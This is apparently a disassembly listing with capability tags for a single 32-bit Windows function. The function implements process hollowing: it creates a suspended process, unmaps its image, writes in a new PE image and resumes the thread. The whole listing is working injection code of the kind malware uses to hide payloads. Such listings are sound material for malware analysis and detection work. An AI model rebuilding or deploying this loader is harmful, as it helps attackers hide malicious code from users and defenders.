Function at 0x401000
Capabilities:
Link many functions at runtime
Parse pe header
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov eax, dword [0x404004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x104
lea eax, [ebp - 0x20c]
mov ebx, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x4012b0
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [ebp - 0x268], eax
cmp dword [eax], 0x4550
jne 0x4012b0
push esi
push edi
push 0x44
lea eax, [ebp - 0x250]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [ebp - 0x264], xmm0
push str.CreateProcessInternalW
push str.KERNEL32.DLL
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0
lea ecx, [ebp - 0x264]
mov dword [0x447b84], eax
push ecx
lea ecx, [ebp - 0x250]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x20c]
push ecx
push 0
call eax
test eax, eax
je 0x4012ae
push str.VirtualAlloc
push str.kernel32.dll
call edi
push eax
call esi
push str.VirtualAllocEx
push str.kernel32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
push str.ReadProcessMemory
push str.kernel32.dll
mov dword [ebp - 0x274], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
push str.WriteProcessMemory
push str.kernel32.dll
mov dword [ebp - 0x26c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
push str.GetThreadContext
push str.kernel32.dll
mov dword [ebp - 0x270], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
push 4
push 0x1000
push 4
push 0
mov esi, eax
call edi
mov edi, eax
push edi
mov dword [ebp - 0x278], edi
mov dword [edi], 0x10007
push dword [ebp - 0x260]
call esi
test eax, eax
je 0x4012ae
push 0
push 4
lea eax, [ebp - 0x254]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x264]
call dword [ebp - 0x26c]
mov esi, dword [ebp - 0x268]
mov eax, dword [ebp - 0x254]
lea ecx, [esi + 0x34]
cmp eax, dword [ecx]
jne 0x4011b8
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x254]
push dword [ebp - 0x264]
call eax
lea ecx, [esi + 0x34]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [ecx]
push dword [ebp - 0x264]
call dword [ebp - 0x274]
mov dword [ebp - 0x26c], eax
test eax, eax
je 0x4012ae
push 0
push dword [esi + 0x54]
push ebx
push eax
push dword [ebp - 0x264]
call dword [ebp - 0x270]
xor eax, eax
mov dword [ebp - 0x268], 0
cmp ax, word [esi + 6]
jae 0x401255
xor edi, edi
mov ecx, dword [ebx + 0x3c]
add ecx, edi
push 0
push dword [ecx + ebx + 0x108]
mov eax, dword [ecx + ebx + 0x10c]
add eax, ebx
push eax
mov eax, dword [ecx + ebx + 0x104]
add eax, dword [ebp - 0x26c]
push eax
push dword [ebp - 0x264]
call dword [ebp - 0x270]
mov ecx, dword [ebp - 0x268]
add edi, 0x28
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp - 0x268], ecx
cmp ecx, eax
jl 0x401205
mov edi, dword [ebp - 0x278]
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x264]
call dword [ebp - 0x270]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x26c]
push str.NtSetContextThread
push str.ntdll.dll
mov dword [edi + 0xb0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push dword [ebp - 0x260]
call eax
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004014b2
mov esp, ebp
pop ebp
ret